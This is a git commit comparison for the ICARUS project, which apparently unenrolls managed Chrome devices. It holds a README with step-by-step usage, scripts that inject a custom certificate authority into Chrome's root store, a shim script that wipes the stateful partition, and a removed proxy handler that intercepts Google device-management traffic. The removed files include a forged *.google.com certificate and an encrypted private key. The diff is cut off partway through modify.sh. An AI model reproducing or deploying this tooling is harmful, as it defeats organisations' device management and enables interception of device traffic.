Compare commits

...

No commits in common. "431ce8b4f89eec6dc0e7c0a3b165d6fa79d528a7" and "28d003757ef4b1dc106bc8c8da015eb620653862" have entirely different histories.

35 changed files with 644 additions and 1575 deletions

10
.gitignore vendored
View File

@ -1,4 +1,6 @@
node_modules
*_cert
*.log
.venv
.venv
__pycache__
gen
original
out
*pb2.py

7
.gitmodules vendored
View File

@ -1,3 +1,4 @@
[submodule "dmbackend"]
path = dmbackend
url = https://github.com/MunyDev/dmbackend
[submodule "httpmitm"]
path = httpmitm
url = https://git.kxtz.dev/kxtzownsu/httpmith.git
branch = main

23
Makefile Normal file
View File

@ -0,0 +1,23 @@
setup-venv:
python3 -m venv .venv
bash setup_venv.sh
exit
enter-venv:
bash enter_venv.sh
setup-python:
mkdir -p gen/python
protoc --python_out=gen/python crs.proto
protoc --python_out=gen/python pins.proto
protoc --python_out=gen/python ct.proto
cp gen/python/crs_pb2.py src/root_store_gen
cp gen/python/pins_pb2.py src/root_store_gen
cp gen/python/ct_pb2.py src/root_store_gen
exit
build-packed-data:
mkdir -p out/PKIMetadata
make setup-venv
make setup-python
clean:
rm -rf out/
start-server:
cd httpmitm; npm install; node proxy.js

67
README.md Normal file
View File

@ -0,0 +1,67 @@
# ICARUS
An exploit for Chrome devices which allows people to unenroll devices with device management interception using a proxy and a custom Certificate Authority.
> [!IMPORTANT]
> DO NOT USE ANY PUBLIC IP ADDRESSES FOR ICARUS AS A PROXY, YOU WILL RISK YOUR DATA and YOU WILL BE REMOTELY COMPROMISED.<br><br>
> ANYTHING GOOGLE CAN REMOTELY PERFORM ON YOUR DEVICE, ICARUS CAN BE USED TO DO. AN EXAMPLE OF THIS IS INSTALL EXTENSIONS, SPY, USE YOUR CAMERA, REMOTE INTO YOUR DEVICE, GET YOUR PASSWORDS, AND MORE.<br><br>
> ONLY SELF HOST ICARUS, NEVER USE A PUBLIC SERVER!
## New configs?
"New configs" have rolled keys. We are testing the compatibility of these new keys for interception.
## Setup and installation instructions
Clone the repo with ``git clone --recursive https://github.com/MunyDev/icarus/`` and change directory to it.
Set up the environment by running the following commands (Make sure you have python3, python3-venv, and protobuf installed beforehand):
- `make setup-venv`
- `make enter-venv`
- `make setup-python`
- `make build-packed-data`
Before continuing, open Chrome on your build machine and go to chrome://components. Press CTRL + F and search for "PKIMetadata". Once you find it, press "Check for Updates". Make sure it says up-to-date before continuing (and that the version is below 2000.)
- `bash get_original_data.sh`
- `bash make_out.sh myCA.der`
After doing this the output directory (from here on reffered to as PKIMetadata) will be generated, which is the custom Certificate Authority.
Now, to modify the shim with the generated PKIMetadata:
- `bash modify.sh <shim path>`
Now boot the shim, and ICARUS will attempt to modify your stateful partition.
### Server setup
Requirements: npm, node
Run `make start-server` to start your proxy, then continue with the instructions below.
Do not use WSL to host a server!
## Setup and installation instructions, continued
Reboot the device. You'll boot into verified mode. Once you have your server running, open the network configuration by clicking the lower right button (it will show the date), connecting to wifi, and then change the proxy settings accordingly.
- Set proxy settings to manual
- Set HTTPS IP to the IP you used to host the proxy server.
- Resume setup and your device will unenroll.
## Troubleshooting
<details>
<summary>During building, everything starting from root was copied into original!</summary>
Please run ``git pull`` on your local copy. This bug has been fixed.
</details>
<details>
<summary>My device says "Can't reach Google"!</summary>
- Make sure your device and the server are connected to the same network
- If that didn't work, powerwash your device and re-run the modified shim, and keep the server running.
</details>
## Credits
- [MunyDev](https://github.com/MunyDev) - Creating this exploit
- [Archimax](https://github.com/EnterTheVoid-x86) - Cleaning up get_original_data.sh and inshim.sh + README changes
- [r58Playz](https://github.com/r58Playz) - General bash script improvements
- [Akane](https://github.com/genericness) - Help with SSL, general advice, and README changes

View File

@ -1,137 +0,0 @@
const net = require('net');
const handlers = require('../../handlers');
const path = require('path');
const express = require('express');
const url = require('url');
const child_proc = require('child_process');
const fs = require('fs');
const state = { pid: null };
/**
*
* @param {import("../../proxy").FilterInfo} f
*/
function filter(f) {
console.log("hi");
if (f.tls) {
return true;
}
return false;
}
async function startServerIfNeeded() {
return; // run the python3 srv manually for now
let realpath = path.resolve('.', 'dmbackend', 'start_server.sh')
let prc = child_proc.spawn("/bin/bash", [path.resolve('.', 'dmbackend', 'start_server.sh'), realpath], {stdio: "pipe"});
let wstream = fs.createWriteStream("./int_server.log");
let pidPath = path.resolve(path.dirname(realpath), "pid");
try {
fs.rmSync(pidPath);
} catch {};
prc.stdout.pipe(wstream);
prc.stderr.pipe(wstream);
// prc.stdout.once("data", async (c) => {
// let pid = 0;
// console.log("Started as PID: "+ (pid = parseInt(c.toString('utf-8').split("Server PID: ")[1].split('\n')[0])));
// state.pid = pid;
let buffer = null;
while (true) {
if ((buffer = await new Promise((resolve)=>{
fs.readFile(pidPath, (err, data)=>{
if (err)
resolve(null);
else {
resolve(data);
}
})
}))) {
break;
}
}
state.pid = parseInt(buffer.toString('utf-8'));
await new Promise((resolve)=>setTimeout(resolve, 200));
// })
console.log("Started internal server with pid of: " + state.pid);
}
const app = express();
app.post("/*", async function (req, res) {
console.log("Reading a post request")
console.log(req.header('Content-Length'));
var a = parseInt(req.header('Content-Length'))
const dat = Buffer.alloc(a);
var ptr = 0;
async function handle() {
console.log("handling: " + url.parse(req.url).search);
try {
// console.log(new URL(req.path).search);
fetch = (await import('node-fetch')).default;
await startServerIfNeeded();
const resFromRev = await fetch('http://127.0.0.1:3040/' + url.parse(req.url).search, {
body: dat,
"headers": req.headers,
method: "POST"
});
// console.log(resFromRev.data);
res.header('Content-Type', 'application/x-protobuffer');
res.writeHead(resFromRev.status, resFromRev.statusText);
res.end(new Uint8Array((await resFromRev.arrayBuffer())));
} catch (e) {
if (!e.response) {
console.log("Error occured here without a response. Weird.");
console.log(e);
res.writeHead(500, 'Internal server error');
res.end('An error has occured');
return;
}
res.header('Content-Type', "application/x-protobuffer");
res.header('Content-Length', e.response.data.length.toString());
res.writeHead(e.response.status, "Internal server error");
res.end(e.response.data);
}
}
req.on("data", function (r) {
dat.set(r, ptr);
ptr += r.length;
console.log(ptr);
if (ptr === a) {
handle()
}
})
});
app.get('/*', (req, res) => {
res.writeHead(200, "OK");
res.end("OK");
})
/**
*
* @param {import("../../proxy").ServerConfig} config
* @param {net.Socket} sock
*/
function proxy(config, sock) {
const ms = handlers.getMiniServer(function (req, res) {
// console.log(req);
app(req, res);
}, path.resolve(__dirname, "public", "google.com.pem"), path.resolve(__dirname, "public", "google.com.key"))
const socks = net.createConnection({
host: "127.0.0.1",
port: ms.port
}, function () {
sock.write('HTTP/1.1 200 OK\r\n\n');
sock.pipe(socks);
socks.pipe(sock);
// sock.write('HTTP/1.1 200 OK\r\n\n');
});
}
module.exports = {
filter,
proxy
}

View File

@ -1,5 +0,0 @@
{
"filters": ["https"],
"proxyPath": "index.js",
"matches": "m\\.google\\.com"
}

View File

@ -1,8 +0,0 @@
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = *.google.com

View File

@ -1,30 +0,0 @@
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIDNmkzefI9wICAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBA9x6+e6uvbUknFhGZRoJImBIIE
0P6ODYuc1JfonoeGK6zNKJRLXAR4JHg/npNXuzEJMKlYv5QPWsXPS8K+cyFVo67q
q5FEF7Uo6aUmtzhf6YzliXjmp8oCz/8N6XkGFzu5YAbj/GbbQ2EOJMzKpNYJX/EM
JTfQ0k3CQEtYnsjbGI6di6fqylYXjVodz/mphlS7wCuyXY+6i149BHRGzk8BczPi
N7Ct+pBXcsyTkG2F9CDisoq+saN2put7S8vpYzBGyPCNSJZZzw0PK7B6fXqQuRyR
DK64o5PvvAxBvPl4lmLQDkIzFBN1uX9Tr34ziyuzC2CR7g0w3PhZI40i/dAjz3YP
dQpq7U46uLMHOsf2GrN74hMfqIq2EcZrKbeESHQEtCt4KIOS+dchXnnTAZ7zXdIm
uqR8fI6n/g1XLKqEXpliUJR3YQQVpFimDpME9+Hsoi3KA0ZwD9gMRRHAHqpAKHFe
d67jo1kTQNN3nHczGdnh3XZXUiEQatubBFtBrre7ZyYd3r3VgksjtX6ZaEj7Wa+y
icyTUHZylBzzEej70Ph1bwL5PCFHheCTulqCemE3eVUTC24N3Os/EJRcU/bTVv64
KbZ2QN4IJbuEo6TpkSvi4p2enoLLb5JL/y9aFGLYWvhFAoOe42a6cLcnxnqreQyK
hDMOzY4ImOwbS0mE9ufbtxrrJYEKOswxBrKf5Rdon0wK58YvP5yEFrjbgCHMTThi
uFEQZEk0ly5GO40LJCPpg460zOrg6VZcxXCnNkOjE+6lxyLbKmIhlk17nIxnjbCJ
AcRUJQepiUffPmu/qrA8MiyQ33F0y58VUr/xEiZPE+Fa0RMJkjiqqz+WV49CzDBp
uZFaxDL/hEbfFZUCUDTTgnANV6bSSj4PU4iyACUUn3QrPSzC+vhdwVmyLoB1NRB7
NIJpvXSp++9F7dz2DcgLcMzscRPyHgBpLeBAGxZDabYva0SVE/8QoxJkPltssYLz
hBpZagn5ymWu+pefc0XneyuhShZcbYNk28cRc6EtShVxrq8XGZB9gc38xFvdLDAA
WowaJ7j3WR5TJCS4LuxpgKd70lcSJMuc1WyEPQFCV9YUApFkRE0WOm3VM4INRyRN
qIGN8B4c6p06D4AMrfy5mmlShgr5y7g5I/jdd6S7K4Kil82lVbcT4OTCAcyzt5dn
rJ6TXzbTajRNiABbOOHeDdaaTkCh26k7Lo3jMerfPsARGZR4i0YlrDgT0Z0tRuHX
LYbpl17uJklI+HD/+A3AvMDGndtGuJoMRqP7YcWvygksLGSCQdhIg916XS5MWQTF
RTJt3Lc8FnsrW7HDGbkT2S8thVh5jT0m7zg9i3YlQ34hVOlSb3buVh9bPB+1s1g6
Qhy7Z2g0OOAGEzScak9cJuT5FvYMIweDqvFQjRvBWvoRuHMDC0Lm95gRPsVCVlND
dEkOojG/0bsA/5MQledBNKcVmi4HF+EuWygpC2KrNij3eotEqUR2jm0rzwFMKO4l
AIzv1IekWkyiiXm337/Qv+ODb4J7nS8EVIw71vO9304Fy6LsTaBxZeR7oc+Iiiwn
p5FEcEIxQmxPXuZHHxTZPE0so7In3qf3Slt/alTc+9PZ+7LYaaoIYgkQE9XD+0Si
zFwWzaMn+RP2NHQAjsGeuS7+sQHBhXwac4GufbIJabvf
-----END ENCRYPTED PRIVATE KEY-----

View File

@ -1,21 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIDYzCCAksCFCpXuoZnYE/wJnVQKjUXsqSIr7+KMA0GCSqGSIb3DQEBCwUAMG0x
CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl
cm5ldCBXaWRnaXRzIFB0eSBMdGQxJjAkBgkqhkiG9w0BCQEWF2plZmZwbGF5czEy
OTJAZ21haWwuY29tMCAXDTI1MDMwMTA5MDExMVoYDzIxMjUwMjA1MDkwMTExWjBt
MQswCQYDVQQGEwJVUzEQMA4GA1UECAwHUFJJVkFURTEQMA4GA1UEBwwHUFJJVkFU
RTERMA8GA1UECgwIU3VjY2VzcyExEDAOBgNVBAsMB1N1Y2Nlc3MxFTATBgNVBAMM
DCouZ29vZ2xlLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKMM
F9gQ6FQ9oBARBx0NfRXeu+j53Eod+W77HXbO8Ri1hTsCfT123Sy0wwSZuXAvcpcx
+GKkcANhInmbhzICodr279IzkP6fMbcbm1l7wpxc+GwipJ5U95P0es0BhUc0pkvA
lCZg6KD9F5ew+lsuMrPR0E+vO5XeHwPsdbf4ldolIA7fHDGtfpO1KUyhPzVYku7F
MdeBewGLZP6Xheg2dW3rtkJGxWlFksNYtPBJOza0zNR/G6TprlqJjwYBLEWzQ7yO
7gzT+Z8JLqWjN9wAqF4w/5FsjRa27ZXgH6Gp9Y56rjYVDAjHhLQe9MUTrq/SxGzj
fA6bs2QlhudDvvqHG3UCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAYZlGUFd1nFv4
wedgkI4eQvwBUPWOzAp9INwbArXgE4a+uklK/ymwM1YThLYY1TeJNkj+xswphdGU
KwaOldTscF8X7WonLc1LTasiwsXnKYFmMBM7jwtleY47tzoQiNHHxGVWOaIs6vkQ
gvIvVaQWmTK0H4GCRZlM2XK0OiLyPXP0hQH8g8t4dlF94UZea3RDX9evQBFw1f8J
1wPq2OYCERMrbr4dEvR7qbuLrb9NTkowCINPqDs5t9W3gEz3lEBAsk6ckwcsRJR1
Ub/ZiX+8Bk9O0SAKl2h2UT7YeUPddL8F6gUG3RoMoVW+3uAyvuMy/BhhghV6Pj86
1ukBzVqGQg==
-----END CERTIFICATE-----

View File

@ -1,17 +0,0 @@
-----BEGIN CERTIFICATE REQUEST-----
MIICsjCCAZoCAQAwbTELMAkGA1UEBhMCVVMxEDAOBgNVBAgMB1BSSVZBVEUxEDAO
BgNVBAcMB1BSSVZBVEUxETAPBgNVBAoMCFN1Y2Nlc3MhMRAwDgYDVQQLDAdTdWNj
ZXNzMRUwEwYDVQQDDAwqLmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCjDBfYEOhUPaAQEQcdDX0V3rvo+dxKHflu+x12zvEYtYU7An09
dt0stMMEmblwL3KXMfhipHADYSJ5m4cyAqHa9u/SM5D+nzG3G5tZe8KcXPhsIqSe
VPeT9HrNAYVHNKZLwJQmYOig/ReXsPpbLjKz0dBPrzuV3h8D7HW3+JXaJSAO3xwx
rX6TtSlMoT81WJLuxTHXgXsBi2T+l4XoNnVt67ZCRsVpRZLDWLTwSTs2tMzUfxuk
6a5aiY8GASxFs0O8ju4M0/mfCS6lozfcAKheMP+RbI0Wtu2V4B+hqfWOeq42FQwI
x4S0HvTFE66v0sRs43wOm7NkJYbnQ776hxt1AgMBAAGgADANBgkqhkiG9w0BAQsF
AAOCAQEAV7sAUKsmDwGkhWpOGgPNxEapHn8K211SvG4Wq4nBx6PMQVT+P6o2dei9
g2WqNyOiUnsfEoZmfMRYcslpqtQKUQNV0TVYNpp7yvK8r5RQoxcgcdhs3zjXcxtC
QqpPaITA48VkAzhVgxcHxOnpCNyRghmO4kkKuw9YnqIaesTFfgY51vM8LmhfGBFh
tpr8aD+43u07Gh7u6PKxrjPt0OSnSU9nzwS0Lg6Virl2Qy0x+Z4Hx5pbcFUHJwDX
ChCjPjSwpplcdIHPKDsCln24ioZQud+K9eg8z795As6OGRs+eSJW207KQ/xzNLib
OnJve00kB6RHPB98K3bZfFmoO74Jxw==
-----END CERTIFICATE REQUEST-----

65
crs.proto Normal file
View File

@ -0,0 +1,65 @@
// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Proto definitions supporting the Chrome Root Store.
// This file should be manually kept in sync with the corresponding google3
// file.
syntax = "proto3";
package chrome_root_store;
// Specifies a set of constraints, all of which that have values must be
// satisfied for the ConstraintSet to be satisfied.
message ConstraintSet {
// The leaf certificate must have at least one valid SCT timestamp that is
// not after the specified value, specified in seconds since the unix epoch.
optional int64 sct_not_after_sec = 1;
// The leaf certificate must have at least one valid SCT timestamp and all
// valid SCT timestamps must be after the specified value, specified in
// seconds since the unix epoch.
optional int64 sct_all_after_sec = 2;
// The browser version must be equal to or greater than the specified version.
// Specified as a dotted version string, for example, "121.0.6167.160". A
// partial version is also allowed, for example min_version="121" will match
// any M-121 version or later.
optional string min_version = 3;
// The browser version must be less than the specified version.
// For example, max_version_exclusive="122" will match any M-121 or earlier
// version, and will not match any M-122 version.
optional string max_version_exclusive = 4;
}
message TrustAnchor {
// The human-editable textproto version of the root store references roots in
// a separate file by SHA-256 hash for convenience. It is converted to the DER
// representation as part of the build process.
oneof certificate {
bytes der = 1;
string sha256_hex = 2;
}
// OID should be expressed as dotted-decimal text (e.g. "1.3.159.1.17.1")
repeated string ev_policy_oids = 3;
// If not empty, the anchor is only trusted if at least one of the
// ConstraintSets is satisfied.
repeated ConstraintSet constraints = 4;
// Human-readable display name used to identify the certificate.
optional string display_name = 5;
}
// Message storing a complete Chrome Root Store.
message RootStore {
repeated TrustAnchor trust_anchors = 1;
// Major version # of the Chrome Root Store. It is assumed that if
// root_store_1.version_major > root_store_2.version_major, then root_store_1
// is newer and should be preferred over root_store_2.
int64 version_major = 2;
}

135
ct.proto Normal file
View File

@ -0,0 +1,135 @@
// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
syntax = "proto3";
package chrome_browser_certificate_transparency;
// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
option optimize_for = LITE_RUNTIME;
message CTTimestamp {
int64 seconds = 1;
int32 nanos = 2;
}
// Represents the final state of a log at the time it was made read-only.
message FinalTreeHead {
// Size of the log at the time it was made read-only.
uint64 tree_size = 1;
// Root hash of the log (base64-encoded) at the time it was made read-only.
string sha256_root_hash = 2;
}
message CTLog {
// Human-readable description to identify log.
string description = 1;
// Public key of the log, as a DER-encoded ASN.1 SubjectPublicKeyInfo
// structure, then encoded as base64
// (https://tools.ietf.org/html/rfc5280#section-4.1.2.7).
string key = 2;
// The base64-encoded LogID found in SCTs issued by this log
// (https://tools.ietf.org/html/rfc6962#section-3.2).
string log_id = 3;
// Maximum merge delay, in seconds. The log should not take longer than this
// to incorporate a certificate.
uint64 mmd_secs = 4;
// URL of the log's HTTP API.
string url = 5;
message Interval {
CTTimestamp start = 1;
CTTimestamp end = 2;
}
// The log will only accept certificates that expire between those dates.
// Start time is inclusive, end time is not inclusive.
Interval temporal_interval = 6;
enum Purpose {
UNSET_PURPOSE = 0;
PROD = 1;
TEST = 2;
}
// Whether the log is for production purposes, or test only.
Purpose purpose = 7;
enum CurrentState {
UNSET_STATE = 0;
PENDING = 1;
QUALIFIED = 2;
USABLE = 3;
READ_ONLY = 4;
RETIRED = 5;
REJECTED = 6;
}
message State {
// Current state of the log.
CurrentState current_state = 1;
// Time at which the log entered this state.
CTTimestamp state_start = 2;
}
// State history of the log. Inverse chronological order, first element should
// be the current state.
repeated State state = 8;
message OperatorChange {
// Name of the log operator.
string name = 1;
// Timestamp at which this operator started operating this log.
CTTimestamp operator_start = 2;
}
// History of all log operators that have ever operated this log, including
// the timestamp at which each started operating it. Inverse chronological
// order, first element should be the current operator.
repeated OperatorChange operator_history = 9;
// State of the log at the time it was made read-only. Should only be set if
// state is READ_ONLY.
FinalTreeHead read_only_info = 16;
}
message LogOperator {
// Name of this log operator.
string name = 1;
// Email addresses at which the log operator can be reached.
repeated string email = 2;
}
message CTLogList {
// Major version of the list, incremented any time there are changes in the
// list, except for trivial (i.e. timestamp-only) changes.
uint64 list_version_major = 1;
// Minor version of the list, incremented any time the list is modified with
// only trivial (i.e. timestamp-only) changes. Allows consumers to determine
// the timestamp at which certain changes occur; for example, if a log is
// rejected, a consumer can look at the minor version 1 of that major version
// to determine at what timestamp that change was made.
uint64 list_version_minor = 2;
// Log list timestamp. This is meant to be used for freshness checks, and is
// updated periodically regardless of whether the list contents' have changed.
// Use list_version_major instead if monitoring for list contents' changes.
CTTimestamp timestamp = 3;
// Compatibility version, incremented if the list structure is changed in a
// non-backwards-compatible way.
uint64 compatibility_version = 4;
// Contains all known log operators.
repeated LogOperator operators = 5;
// Contains all known logs.
repeated CTLog logs = 6;
}
// Certificate transparency configuration as used by Chrome.
message CTConfig {
// Emergency switch to disable all CT enforcement.
bool disable_ct_enforcement = 1;
// Logs Chrome should recognize.
CTLogList log_list = 2;
// A list of the leaf hashes for the most popular SCTs encountered in Chrome
// recently. Sorted lexicographically.
repeated bytes popular_scts = 3;
}

@ -1 +0,0 @@
Subproject commit 3d823ab09933b151dd5447d98f6f1a98113e1d67

3
enter_venv.sh Normal file
View File

@ -0,0 +1,3 @@
#!/bin/bash
source ./.venv/bin/activate
bash

View File

@ -1,23 +0,0 @@
#!/bin/bash
# Arguments: <server address>
DIR=.
mkdir -p "$DIR"
SCRIPTDIR=$(dirname "$(readlink -f "$0")")
openssl genrsa -out "$DIR/$1".key 4096
openssl req -new -key "$1".key -out "$DIR/in.csr" -subj "/C=US/ST=PRIVATE/L=PRIVATE/O=Success!/OU=Success/CN=$1"
cat > "$DIR/extfile" <<EOF
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = $2
EOF
openssl x509 -req -out "$DIR/$1.pem" -CA "$SCRIPTDIR/myCA.pem" -CAkey "$SCRIPTDIR/myCA.key" -extfile "$DIR/extfile" -in "$DIR/in.csr"
# rm -rf "$DIR"

36
get_original_data.sh Executable file
View File

@ -0,0 +1,36 @@
#!/bin/bash
echo This script may be removed or disabled later with discretion of google.
echo "using chrome ${CHROME:="google-chrome"}"
if [ ! -d "$HOME/.config/$CHROME/PKIMetadata" ]
then
"$CHROME" chrome://components &> /dev/null &
exit 0
fi
# Search directory for versions
HIGHESTVERSIONAPPARENTLY=$(find "$HOME/.config/$CHROME/PKIMetadata/" -maxdepth 1 -mindepth 1 -type d| head -n 1)
if [ -z ${HIGHESTVERSIONAPPARENTLY} ]; then
echo "Failed to find PKIMetadata directory"
exit 1
fi
#Let the user know what version we are on
echo "$HIGHESTVERSIONAPPARENTLY"
# Prepare output directory (version is 2000 for now. Don't ask why)
mkdir -p original/PKIMetadata/2000
#Copy latest version as base (idk if this is reliable)
if [ "$HIGHESTVERSIONAPPARENTLY" != "" ]; then
cp -rvf "$HIGHESTVERSIONAPPARENTLY"/. original/PKIMetadata/2000
else
echo "Variable HIGHESTVERSIONAPPARENTLY returned empty, failing."
exit 1
fi
#Remove metadata and fingerprint(just sha256 of manifest) to be accepted
rm -rvf original/PKIMetadata/2000/_metadata
rm -rvf original/PKIMetadata/2000/manifest.fingerprint
#end of script

View File

@ -1,36 +0,0 @@
const net = require('net')
const https = require('https')
const proc = require('process')
const fs= require('fs');
/**
* @param {import('./proxy').ServerConfig} config
* @param {net.Socket} socket
*/
function expressHandlerFromSocket(config, socket) {
}
class MiniServer {
static pInitial = 3001;
internalServer;
expressApp;
port;
constructor(hand,cert, key, port = MiniServer.pInitial++) {
// console.log(hand.toString());
// console.debug("miniserver creating")
// console.log(port)
this.internalServer = https.createServer({
cert: fs.readFileSync(cert),
key: fs.readFileSync(key),
}, hand);
this.internalServer.listen(port);
this.port = port;
}
}
function getMiniServer(hand, cert, key) {
return new MiniServer(hand, cert, key);
}
module.exports = {
getMiniServer
}

1
httpmitm Submodule

@ -0,0 +1 @@
Subproject commit 4308418e8a7afd36fdc21f36e8cbd4dd862f59f1

28
in.csr
View File

@ -1,28 +0,0 @@
-----BEGIN CERTIFICATE REQUEST-----
MIIEsjCCApoCAQAwbTELMAkGA1UEBhMCVVMxEDAOBgNVBAgMB1BSSVZBVEUxEDAO
BgNVBAcMB1BSSVZBVEUxETAPBgNVBAoMCFN1Y2Nlc3MhMRAwDgYDVQQLDAdTdWNj
ZXNzMRUwEwYDVQQDDAwqLmdvb2dsZS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCMMdVFaBojkEu3g0O+1p0/NQ3zNY9mt1+yIubODd7q6E831LHu
w4eEUkdjcxpl0H5jABl3hZ7pDXMWpQghVLi26MFgflOdPAM1dHWeRGKnD4sM8Acb
3rlc2T1nRim8qTL6JarXO5UR9XtLhFs3gihR9lr9PoPPloF82xLnXuAMU8vSxoyq
rneXKbSC1LPWqyFpHN5xxn0l++2Ti8q+urIdtpYbxThi63K1ziMfX1XMsuJxu9Qn
ClnimjG/+WXSslpHjz5LVSkZDADPBRdG5OOk1u6Shu4V43sIWkATGMlG757DIQSU
JnnY/xLhCOkAFoZ0OZgy3u32jo9auKsxCrsmkGlsSDrkljNQKi0DBh7zQaNlwPLg
bPDfdgC5Uf6f29LLe1Alja2GffJT3pH1aXoLIocHnRc0xjH+coPHMtMTRtNIICTM
nM+iLsgYMPMmP61upBaTf8FRI9DSNl1VZfJ9AmE7eg303go4rACEqsLDwx6dEiOY
yK0sYys9JCwfuDtxYRTrGEsi2Rjc2PXeGpYz6CV7LwyZmRHnm/CfCOAUIKQGJmW6
bAkOifE1Ygn/KAY9pV6Xg2HFPHvT6PAj0m2QGrQxOL3U4mNG0c/wSJmnnHLZUtDU
JVnInu2S8nbM3Zxmk2MC88U95IFY3A8Y6d8bxyDUv1vnl3Ssq3DSV8j9lwIDAQAB
oAAwDQYJKoZIhvcNAQELBQADggIBAAtprXwgSyrifXfpCFLrqFUhYY55qmJFyMKb
H7DIlkvQ72uBoxECi/uhmJDmz+cG8ikDmbCP22AQxgm40d2HpFMa2tNxBjb4ahJY
jeqXVfdFlGeZ74/vCz7RhrN3c1fgmgv1KNXtI6D+saeJx7OMbqSATf1Nd9SSxvMw
cybSDusi4tbbxRCVlTlK7x3dkWzX4tVTA3CMsXUjfKVtYw9sObjkyEeNqduT6+xR
6sG05HeHBI8C7YvNCeKyymlBx5luPK2TDVFYr4FqxKB00KQ5gcx/F41NXy7WAOWU
K5kxQ9fGU8pBXg3VlPoop5gtV9k1vp8yTDFFdqpdlAFT/h/OzLKtarWkRU0VFDuD
VzYt+z8E7khaAfL/GmvoBipfbUp8PUR7czhzM8wnBzw6KTBhbS1ZqMHJEBdifk8l
TluyLYKAAWCAEySKfh4jCCIKHoqDAKJxuJHULhdo95pJ3Ftz4M5t4csHOjmWMLGl
XRV0/BvsCR1blEbsvTQMnf8WP6jSY/cGmSWcdLfetZ0WtWnQhAwK5PG69r9bq1iF
tqODFcs/HCwA50E/1/WQcuYpk2EW+KKDU6CZ6Hxw6rkUA1WXz2slemeL7UgjENLE
MY7kFlrq0r8NhmIHQ7mpiKXjlUOvl4xnNCPP8xMl8jcDQfI5ODitDHYaxQS2gL+r
RCT//vIf
-----END CERTIFICATE REQUEST-----

52
inshim.sh Normal file
View File

@ -0,0 +1,52 @@
#!/bin/bash
[ "$EUID" -ne 0 ] && fail "Not running as root, this shouldn't happen! Failing."
fail() {
printf "%b\n" "$*" >&2 || :
sleep 1d
}
get_largest_cros_blockdev() {
local largest size dev_name tmp_size remo
size=0
for blockdev in /sys/block/*; do
dev_name="${blockdev##*/}"
echo -e "$dev_name" | grep -q '^\(loop\|ram\)' && continue
tmp_size=$(cat "$blockdev"/size)
remo=$(cat "$blockdev"/removable)
if [ "$tmp_size" -gt "$size" ] && [ "${remo:-0}" -eq 0 ]; then
case "$(sfdisk -d "/dev/$dev_name" 2>/dev/null)" in
*'name="STATE"'*'name="KERN-A"'*'name="ROOT-A"'*)
largest="/dev/$dev_name"
size="$tmp_size"
;;
esac
fi
done
echo -e "$largest"
}
format_part_number() {
echo -n "$1"
echo "$1" | grep -q '[0-9]$' && echo -n p
echo "$2"
}
mount /dev/disk/by-label/STATE /mnt/stateful_partition/
cros_dev="$(get_largest_cros_blockdev)"
if [ -z "$cros_dev" ]; then
echo "No CrOS SSD found on device. Failing."
sleep 1d
fi
stateful=$(format_part_number "$cros_dev" 1)
mkfs.ext4 -F "$stateful" || fail "Failed to wipe stateful." # This only wipes the stateful partition
mount "$stateful" /tmp || fail "Failed to mount stateful."
mkdir -p /tmp/unencrypted
cp /mnt/stateful_partition/usr/share/packeddata/. /tmp/unencrypted/ -rvf
chown 1000 /tmp/unencrypted/PKIMetadata -R
rm /tmp/.developer_mode
umount /tmp
crossystem disable_dev_request=1 || fail "Failed to set disable_dev_request."
read -p "Finished! Press enter to reboot."
reboot

30
make_out.sh Executable file
View File

@ -0,0 +1,30 @@
#!/bin/bash
mkdir -p out/PKIMetadata/
SCRIPT_DIR=$(dirname $0)
if [ $# -lt 1 ]
then
echo "Usage: <root certificates...>"
exit 1
fi
# Copy all directories, and will be modified by future calls
rm -rvf "${SCRIPT_DIR}"/out
mkdir "${SCRIPT_DIR}"/out
mkdir -p "${SCRIPT_DIR}"/out/PKIMetadata/.
cp -rvf "${SCRIPT_DIR}"/original/PKIMetadata/2000/. "${SCRIPT_DIR}"/out/PKIMetadata
rm -rvf "${SCRIPT_DIR}"/out/PKIMetadata/_metadata # verified contents not necessary
rm -rvf "${SCRIPT_DIR}out/PKIMetadata/"*.fingerprint
python3 ./src/root_store_gen/generate_new_pbs.py "${SCRIPT_DIR}/original/PKIMetadata/2000/crs.pb" "$@" "${SCRIPT_DIR}/out/PKIMetadata/crs.pb"
# Modify version in manifest
python3 <<EOF # Set version in manifest
import json
from pathlib import Path
mjs = '${SCRIPT_DIR}/original/PKIMetadata/2000/manifest.json'
mjs = Path(mjs)
newfile = Path('${SCRIPT_DIR}/out/PKIMetadata/manifest.json')
dat = Path.read_text(mjs)
x = json.loads(dat)
x['version'] = "2000"
print(json.dumps(x))
newfile.write_text(json.dumps(x))
EOF

97
modify.sh Normal file
View File

@ -0,0 +1,97 @@
#!/bin/bash
# Copyright 2019 The ChromiumOS Authors
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
make_block_device_rw() {
local block_dev="$1"
[[ -b "${block_dev}" ]] || return 0
if [[ $(sudo blockdev --getro "${block_dev}") == "1" ]]; then
sudo blockdev --setrw "${block_dev}"
fi
}
# Copyright 2019 The ChromiumOS Authors
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
is_ext2_rw_mount_enabled() {
local rootfs=$1
local offset="${2-0}"
local ro_compat_offset=$((0x464 + 3)) # Get 'highest' byte
local ro_compat_flag=$(sudo dd if="${rootfs}" \
